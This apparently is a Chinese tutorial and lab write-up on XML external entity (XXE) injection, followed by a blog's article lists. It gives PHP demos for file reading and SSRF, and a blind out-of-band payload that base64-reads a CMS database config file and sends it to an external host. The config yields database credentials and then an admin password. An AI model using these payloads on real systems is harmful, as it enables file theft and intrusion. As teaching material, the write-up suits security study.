什么是xxe

XML外部实体注入,简称XXE漏洞。XML文档结构包括XML声明,DTD文档类型定义,文档元素。

XML示例

    <?xml version="1.0"?>XML声明
<!DOCTYPE note [
<!ELEMENT note(to,from,heading,body)>
<!ELEMENT to(#PCDATA)>
<!ELEMENT from(#PCDATA)> 文档定义类型(DTD)
<!ELEMENT heading(#PCDATA)>
<!ELEMENT body(#PCDATA)>
]>
<note>
<to>tove</to>
<from>jani</from>
<heading>reminder</heading>
<body>don't forget me this weekend</body> 文档元素
</note>

DTD的内、外部声明

  1. 内部声明格式
<!DOCTYPE 根元素 [次一级元素声明]
  1. 外部引用格式
<!DOCTYPE 根元素 SYSTEM "url路径"

PHP示范利用DTD的外部使用操控XML

php代码
<?php
$test = '<!DOCTYPE xxx1 [<!ENTITY xxx2 SYSTEM "file:///c:/phpstudy_pro/123.txt">]><xxx3>&xxx2;</xxx3>'; //后面的标签名,&实体声明一定得有
$obj = simplexml_load_string($test, 'simpleXMLElement', LIBXML_NOENT);
print_r($obj);
?>
结果:

外部DTD支持的协议

简单漏洞利用!

可以让目标服务通过特定协议去访问相关资源,从而实现SSRF(服务器请求伪造)
攻击。我们还可以进行内网服务探测、端口探测等利用
利用http请求baidu
<?php
$test = '<!DOCTYPE xxx1 [<!ENTITY xxx2 SYSTEM "https://baidu.com">]><xxx3>&xxx2;</xxx3>';
$obj = simplexml_load_string($test, 'simpleXMLElement', LIBXML_NOENT);
print_r($obj);
?>
结果

虽然页面是很多Wraning警告,但其实我们已经得到了baidu的源码数据

盲注漏洞利用!

XXE中也存在盲注,不会给你显示东西。
思路
  1. 利用其他东西证明其存在

    • 延时

    • 写文件

      搭建一个服务器里边有个php(test_blind.php)文件,访问后搭建的服务器目录生成一个文件

      //test_blind.php  文件
      <?php
      file_put_contents("Yes.txt", $_GET["id"],FILE_APPEND);
      ?>

  2. 将结果外带出来

    • DNS注入

    • 反弹注入

SSRF和XXE最大的功能是能发起请求,这给了我们很大的空间发挥

复现环境

目标

闪灵建站cms

分析

目标是老版本闪灵源码。然后我找不到这个版本了。

数据库配置目录文件

conn/conn.php

含有 simplexml_load_string 函数的漏洞目录文件

weixin/index.php

思路

访问含有漏洞的文件,发现其接受POST传参作为XML执行。但同时必须传入一个参数(signature)让它不为空

图片1

图片2

  • 解读php://input

    接收所有POST的数据
实践

首先试探性的随便传一些数据。

发现爆出了绝对路径。这时候我们可以构造XML

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>

% file 定义一个参数实体,SYSTEM表示外部引用。其中%remote是引用外部xml,那是靶场提供的xml,内容如下。

<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://59.63.200.79:8017/2.php?id=%file;'>"
>
%all;

发现继续报错,但是这并没关系。我们已经得到了想要的东西。再看靶场提供的3.txt文件,里边记录了我们获得的信息

解密后得到数据库连接密码,但是

则是内网ip,接下来我们找找网站数据库登录后台。这里是adminer.php

成功进入后台,查表得管理员密码

md5解密后记得flag

最新文章

  1. sql server 更新视图的sp
  2. C++ - 复制(copy) 和 虚复制(virtual copy) 的 区别
  3. 在iOS开发过程中你遇到这个问题了么?
  4. HDU 1158 Employment Planning【DP】
  5. 字符串hash函数
  6. java执行机制
  7. hdu1869 六度分离(Floyd)
  8. django-restframework之缓存系统
  9. docker核心概念与配置安装
  10. jmeter和jdk的安装教程
  11. iOS浏览器 new Date() 返回 NaN
  12. unity最基本操作
  13. Java并发编程-看懂AQS的前世今生
  14. Visual stuio2015 升级 Update 3+安装.Net Core 安装包之后,无法创建Mvc项目
  15. 源代码安装Apache、Mysql、PHP
  16. LightOJ - 1030 期望+dp
  17. [SoapUI] Compare JSON Response(比较jsonobject)
  18. DDA_为微分绘制直线算法
  19. 快排,归并和Shell排序
  20. 【bzoj1369】[Baltic2003]Gem(树形dp+结论)

热门文章

  1. Goland 时间转换的那些事
  2. 面试题详解:如何用Redis实现分布式锁?
  3. Python 实现 JWT 生成
  4. asp.net MVC 事务
  5. 一文读懂蓝绿发布、A/B 测试和金丝雀发布的优缺点
  6. [八省联考2018]制胡窜 (SAM+大讨论)
  7. ShellExecuteA加载exe文件指定工作目录找不到文件的问题
  8. HashMap?ConcurrentHashMap?
  9. 如何规划一台 Linux 主机,步骤是怎样?
  10. 【Java面试宝典】你们线上应用的 JVM 参数有哪些?